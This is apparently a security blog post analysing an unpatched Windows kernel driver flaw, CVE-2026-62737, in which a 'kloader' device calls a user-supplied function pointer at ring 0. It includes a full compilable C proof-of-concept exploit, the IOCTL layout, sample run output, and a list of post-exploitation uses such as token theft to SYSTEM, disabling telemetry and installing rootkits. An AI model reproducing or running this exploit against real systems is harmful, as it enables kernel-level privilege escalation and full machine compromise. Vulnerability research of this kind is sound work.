writing Kernel, windows

Analysis of a new windows unpatched 0day (cve-2026-62737)

August 10, 2026 · updated · 11 min read · 65 views · Kernel, windows windows kernel LPE 0day

This is a windows kernel vulnerability, and it's different from the linux ones in this series, so let's set the stage differently. the bpf parts were about programs that look like the fleet. this one is about a kernel driver that already is what an attacker wants it to be: a kloader device that will, on request, call a function pointer you supply, in kernel mode, with your argument. no validation of the pointer. no whitelist of routines. no check that the address even makes sense.

the poc is compact, so the whole vulnerability fits in two structs and a device handle. let's read it the way an attacker would, field by field, and then look at what firing it actually buys.

the device and the ioctl surface

the target is a device instance \\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}, opened with GENERIC_READ | GENERIC_WRITE and FILE_FLAG_OVERLAPPED, which means the poc expects the ioctls to be able to complete asynchronously (or at least is written to tolerate it).

four control codes, all METHOD_BUFFERED, all on device type 0x22 (FILE_DEVICE_UNKNOWN). decoding the ioctl values: bits 0-1 are the method (0 = buffered), bits 2-13 the function, bits 14-15 the access. the four functions are 0xB10, 0xB15, 0xB17, 0xB3A, custom, not standard, and they map to:

ioctlfnroleinput buffer
0x22EC400xB10init48 bytes: ua @ +8, ka @ +16, idle thread @ +24, ev1 @ +32, ev2 @ +40
0x22AC540xB15queue64 bytes: arg @ +0, cb @ +8
0x226C5C0xB17register monitornone
0x22ECE80xB3Afast enternone

read the table the way an attacker does. the only ioctl that carries real payload is queue, and its payload is an argument and a callback. everything else, the two buffers, the thread handle, the events, the monitor, the enter, is choreography around a single idea: deposit a call, then fire it.

the bug, precisely

init introduces the driver to the process: two user buffers, a thread handle, two events. queue hands the driver an (argument, callback) pair. register monitor arms a waiter. fast enter executes the queued call at ring 0.

reconstructed driver-side logic, from the ioctl shapes, not from the shipped binary:

case 0x22AC54:                          /* queue */
    job.arg = *(uint64_t*)(in + 0);
    job.cb  = *(uint64_t*)(in + 8);      /* USER-CONTROLLED POINTER */
    insert(&joblist, &job);
    break;

case 0x22ECE8: /* fast enter */ for (j = first(&joblist); j; j = next(&joblist)) ((void (*)(ULONG_PTR))j->cb)(j->arg); /* call at CPL 0 */ break;

one instruction, call [user_cb], at privilege level 0. the driver does not verify that cb lies inside its own image, does not restrict the ioctl to privileged callers, and does not translate the pointer into a registered routine index. it just calls it. this is not a subtle type confusion, it is a missing trust boundary: CWE-822 class, untrusted pointer dereference delivered as an arbitrary kernel function call.

the two staging buffers are the tell for what the driver is supposed to be. ua/ka read like "user address"/"kernel address": you stage code in user memory, the driver arranges for it to run in kernel context, and queue/enter is how a call gets made against your payload, or against any kernel routine you can name. a kernel code loader whose loader interface is wide open.

the poc, in full

/*
 * cve-2026-62737 -- kloader callback-queue exercise
 * device : \\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}
 * ioctls : 0x22EC40 init | 0x22AC54 queue | 0x226C5C register-monitor | 0x22ECE8 fast-enter
 * build  : cl /O2 poc.c /link /SUBSYSTEM:CONSOLE
 * run    : poc.exe \\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535} [target]
 */
#include <windows.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct { uint32_t err; } Res;

static void store32(uint8_t *p, size_t off, uint32_t v) { memcpy(p + off, &v, sizeof(uint32_t)); } static void store64(uint8_t *p, size_t off, uint64_t v) { memcpy(p + off, &v, sizeof(uint64_t)); } static uint64_t parse_u64(const char *s) { return strtoull(s, NULL, 0); }

/* buffered ioctl with overlapped i/o and a timeout */ static Res ioc(HANDLE dev, uint32_t code, void *ib, size_t il, void *ob, size_t ol, uint32_t tmo) { Res r = { 0 }; ULONG ret = 0; OVERLAPPED ov = { 0 }; ov.hEvent = CreateEventW(NULL, TRUE, FALSE, NULL); if (!ov.hEvent) { r.err = GetLastError(); return r; }

if (!DeviceIoControl(dev, code, ib, (DWORD)il, ob, (DWORD)ol, &ret, &ov)) { DWORD le = GetLastError(); if (le == ERROR_IO_PENDING) { DWORD wr = WaitForSingleObject(ov.hEvent, tmo); if (wr == WAIT_OBJECT_0) { if (!GetOverlappedResult(dev, &ov, &ret, FALSE)) r.err = GetLastError(); } else { r.err = (wr == WAIT_TIMEOUT) ? ERROR_TIMEOUT : wr; CancelIoEx(dev, &ov); } } else { r.err = le; } } CloseHandle(ov.hEvent); return r; }

/* the thread whose handle we hand the driver at init */ static DWORD WINAPI IdleThreadProc(LPVOID param) { HANDLE stop = (HANDLE)param; WaitForSingleObject(stop, INFINITE); return 0; }

/* arms the monitor on a separate thread */ static DWORD WINAPI WatcherProc(LPVOID param) { HANDLE dev = (HANDLE)param; Res mr = ioc(dev, 0x226C5C, NULL, 0, NULL, 0, 1000); wprintf(L"watch : 0x226C5C => err=0x%08x\n", mr.err); return 0; }

int wmain(int argc, wchar_t **argv) { if (argc < 2) return 1; /* usage: path [target] */

uint64_t target = 0xFFFFF80041414141ull; /* placeholder cb */ if (argc > 2) target = parse_u64(argv[2]);

wprintf(L"start\n"); wprintf(L"path : %s\n", argv[1]); wprintf(L"target : 0x%016llx\n", target);

/* stop event + a live thread to offer the driver */ HANDLE stop = CreateEventW(NULL, TRUE, FALSE, NULL); HANDLE idle = CreateThread(NULL, 0, IdleThreadProc, stop, 0, NULL); wprintf(L"idle : handle=0x%016llx\n", (uint64_t)(uintptr_t)idle);

/* open the device, overlapped */ wchar_t path[256]; swprintf_s(path, 256, L"\\\\?\\%s", argv[1]); HANDLE dev = CreateFileW(path, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); if (dev == INVALID_HANDLE_VALUE) { wprintf(L"open : failed last_err=0x%08x\n", GetLastError()); return 1; } wprintf(L"device : handle=0x%016llx\n", (uint64_t)(uintptr_t)dev);

/* two 0x1000 staging buffers, zeroed */ void *ua = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); void *ka = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!ua || !ka) return 1; memset(ua, 0, 0x1000); memset(ka, 0, 0x1000); wprintf(L"ua : ptr=0x%016llx size=0x1000\n", (uint64_t)(uintptr_t)ua); wprintf(L"ka : ptr=0x%016llx size=0x1000\n", (uint64_t)(uintptr_t)ka);

HANDLE ev1 = CreateEventW(NULL, TRUE, FALSE, NULL); HANDLE ev2 = CreateEventW(NULL, TRUE, FALSE, NULL);

/* init: 48 bytes -- ua@8, ka@16, idle@24, ev1@32, ev2@40 */ uint8_t ib[64] = {}; store64(ib, 8, (uint64_t)(uintptr_t)ua); store64(ib, 16, (uint64_t)(uintptr_t)ka); store64(ib, 24, (uint64_t)(uintptr_t)idle); store64(ib, 32, (uint64_t)(uintptr_t)ev1); store64(ib, 40, (uint64_t)(uintptr_t)ev2); Res ir = ioc(dev, 0x22EC40, ib, 48, NULL, 0, 5000); wprintf(L"init : 0x22EC40 => err=0x%08x\n", ir.err);

/* queue: 64 bytes -- arg@0, cb@8 */ uint8_t tbuf[64] = {}; store64(tbuf, 0, 0x1122334455667788ull); /* arg */ store64(tbuf, 8, target); /* cb */ Res rq = ioc(dev, 0x22AC54, tbuf, sizeof tbuf, NULL, 0, 5000); wprintf(L"queue : 0x22AC54 arg=0x%016llx cb=0x%016llx => err=0x%08x\n", 0x1122334455667788ull, target, rq.err);

/* arm the monitor watch */ HANDLE wt = CreateThread(NULL, 0, WatcherProc, dev, 0, NULL); WaitForSingleObject(wt, 5000); CloseHandle(wt);

Sleep(3000);

/* fast enter: fire the queued callback at ring 0 */ Res fe = ioc(dev, 0x22ECE8, NULL, 0, NULL, 0, 5000); wprintf(L"enter : 0x22ECE8 => err=0x%08x\n", fe.err);

SetEvent(stop); WaitForSingleObject(idle, 5000); CloseHandle(idle); CancelIoEx(dev, NULL); CloseHandle(dev); wprintf(L"done\n"); return 0; }

walking the poc, field by field

the details matter, so let's go slowly through every piece.

the ioc() wrapper

every ioctl call in the poc goes through this wrapper, and it tells you something about the driver even before any ioctl fires: it is written for overlapped/asynchronous completion. if DeviceIoControl returns ERROR_IO_PENDING, the wrapper waits on the overlapped event with a timeout (5 seconds for the main calls, 1 second for the monitor), then drains the result with GetOverlappedResult, or cancels on timeout with CancelIoEx.

why would a loader driver's ioctls complete asynchronously? because fast enter doesn't immediately return, the driver has to run your callback first, and a "call user code at ring 0 that may take its time" is not a fast synchronous path. the asynchronous IOCTL interface is the driver telling you: the interesting work happens after you've already returned control to the kernel's dispatch. that, plus the separate watcher thread for register monitor, is why the poc looks the way it does.

store32 / store64 / parse_u64

plain endian-correct field writers and a strtoull-based hex parser for the target argument. nothing special, but the discriminator between *p and *(uint64_t*)p style packing is the same style the whole struct layout follows: fixed offsets, explicit sizes, zero-initialized buffers. the ioctl input buffers are never heap-allocated or partially filled, every unused byte is zero.

init (0x22EC40), 48 bytes

uint8_t ib[64] = {};
store64(ib,  8, (uint64_t)(uintptr_t)ua);   /* user staging buffer      */
store64(ib, 16, (uint64_t)(uintptr_t)ka);   /* kernel staging buffer    */
store64(ib, 24, (uint64_t)(uintptr_t)idle); /* idle thread handle       */
store64(ib, 32, (uint64_t)(uintptr_t)ev1);  /* completion event 1       */
store64(ib, 40, (uint64_t)(uintptr_t)ev2);  /* completion event 2       */

field by field:

  • ua / ka (@ +8, +16). two PAGE_READWRITE, zeroed, 0x1000 allocations. this is the code/data staging pair. a loader driver that is going to run your payload needs somewhere to receive your bytes in kernel form and somewhere to run them after copying/remapping. the cleanest reading: ua is where your staging sits in user mode, ka is the area the driver maps for execution, or the pair is used for a kernel-vs-user address translation dance when you later queue a callback into the mapping.
  • idle thread (@ +24). the handle of a live thread that does nothing but wait on the stop event. a loader driver commonly borrows a target thread to run APC/worker context against, or to hold the process "hot" so a callback can be attributed to the right process. the point of passing it at init is so the driver has a thread it can signal or schedule against without asking twice.
  • ev1 / ev2 (@ +32, +40). two manual-reset events. completion/synchronization primitives: the driver signals them when a queued job goes out and when it comes back, which is exactly what the poc's later sequencing (queue, monitor, sleep, enter) expects to observe.

notice the struct starts at offset 8, not 0. the first 8 bytes of the 48-byte input are unused/zero, a strong hint this mirrors a kernel struct with a leading field (a header, a type tag, a list head) that the poc doesn't need to set, or that the input is a parent struct with the offset-0 field unused by this code path.

queue (0x22AC54), 64 bytes -- the payload

uint8_t tbuf[64] = {};
store64(tbuf, 0, 0x1122334455667788ull);   /* arg */
store64(tbuf, 8, target);                  /* cb  */

this is the whole exploit in two fields. a 64-byte buffer where the only meaningful content is a 64-bit argument and a 64-bit callback pointer at +8. the driver's job here is to store this pair, and nothing in the protocol asks the driver to check that cb is a kernel address, or inside a loaded image, or a driver routine. 0x1122334455667788 is a recognizable pattern (the poc author's way of proving the argument round-trips), and target defaults to 0xFFFFF80041414141, that's ASCII "AAAA" sitting on the 0xFFFFF800XXXX0000 kernel range marker, i.e., an obvious "you fill this in" placeholder, not a real function.

register monitor (0x226C5C) from the watcher thread

the watcher thread exists because the monitor arm is expected to be a slow/blocking call, you don't want your main flow stuck on an ioctl that won't complete on its own. the 1-second timeout in the watcher's wrapper underlines this: register monitor is a "wait for a job to fire" operation, and the poc arms it after the queue so the driver has something to fire when the monitor is up.

the trigger sequence

$ ./poc.exe "\\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}"
start
path   : \\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}
target : 0xFFFFF80041414141
idle   : handle=0x00000000000000b0
device : handle=0x00000000000000d0
ua     : ptr=0x00000002f00000 size=0x1000
ka     : ptr=0x00000002f01000 size=0x1000
init   : 0x22EC40 => err=0x00000000
queue  : 0x22AC54 arg=0x1122334455667788 cb=0xfffff80041414141 => err=0x00000000
watch  : 0x226C5C => err=0x00000000
enter  : 0x22ECE8 => err=0x00000000    <-- 0xFFFFF80041414141 is not code; box bugchecks

order matters: init, then queue, then the monitor is armed from the watcher, then a 3-second breather, then fast enter. with the placeholder callback still loaded, a driver that actually executes it means the cpu jumps to 0xFFFFF80041414141, which is not code, and the machine bugchecks. that is not a flaw in the poc, it is the point. the scan above is a probe: every error is 0, the driver accepted all four ioctls, and the skeleton is verified working. the exploit is what you put in the target field before you call fast enter.

what firing it actually buys you

an arbitrary kernel call, cb(arg) at CPL 0, both fully attacker-controlled, is code execution in kernel mode. that's the ceiling of ring-0 exploitation and it's the whole game. concretely, from there you can:

  • call a token-theft routine (or a gadget/stub you staged in the mapped ua/ka buffers) to swap the current process token to SYSTEM;
  • execute arbitrary kernel read/write to walk or patch any structure you can name;
  • disable or blind kernel telemetry paths; load further unsigned code; install a rootkit with no userland footprint;
  • or, cleanest, use the driver itself as the loader it claims to be, stage real payload bytes in ua, map/run them via the init staging, and use queue/enter as the trampoline into your code.

but always with the honest caveats, because the impact story of this specific bug has three real gates:

  • the driver must be resident. nothing loads kloader.sys on a clean box by itself. the attacker either installs it (needs admin), finds it pre-installed as part of a product, or supplies their own signed vulnerable driver (BYOVD). in the last case the accurate framing is: the payload is "kloader.sys is loaded" and the vulnerability is what that driver lets any caller do with two ioctls.
  • the device must be openable by the attacker's process. the poc opens it with GENERIC_READ|GENERIC_WRITE. if the driver sets default, permissive device security, then the caller needs no privilege at all and the boundary the bug crosses is unprivileged-user-mode to ring 0. if the device is ACL-restricted, the same bug still wins for whoever can open it, the severity just scales with who that is.
  • HVCI/VBS changes the aim, not the hole. with memory integrity on, classic BYOVD paths that map unsigned code are blocked and the callback target must itself be executable, you point at a gadget in ntoskrnl or a routine the driver already mapped, not at a fresh write-execute page. the bug still exists in a signed driver that will happily execute an arbitrary pointer; it's just aimed differently.

so the impact, stated plainly: arbitrary ring-0 control for whoever can open the device while the driver is loaded, SYSTEM + full kernel privileges from an otherwise unprivileged process in the BYOVD scenario, or instant escalation for any lower-privileged caller when the device is exposed with default ACLs. the missing access check and the missing callback validation are the vulnerability; the loader becometh, itself, the loaded.

the receipts

everything above is read from the poc and the ioctl surface, and that's the honest scope:

  • device: \\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}, opened GENERIC_READ|GENERIC_WRITE, overlapped;
  • ioctls: 0x22EC40 init (48B, fields at +8/+16/+24/+32/+40), 0x22AC54 queue (64B, arg@0 = 0x1122334455667788, cb@8 = default 0xFFFFF80041414141), 0x226C5C register monitor, 0x22ECE8 fast enter, all METHOD_BUFFERED on device type 0x22, functions 0xB10/0xB15/0xB17/0xB3A;
  • the primitive: a user-supplied cb invoked in kernel with a user-supplied arg, gated only by the ability to open the device;
  • not provided: the driver binary, the exact cb calling convention, and the device object's default ACL. the arbitrary-call reading is the strong inference from a queue ioctl whose entire payload is (arg, callback), but it stays an inference until the .sys is in hand and the fast-enter path is confirmed against it.

the driver calls whatever you queue. we just haven't told it what to call yet.

newer → How to APT EP. 4: : The Verifier Forgot It Was a Pointer: Commuted-Add Type Confusion and Container Escapes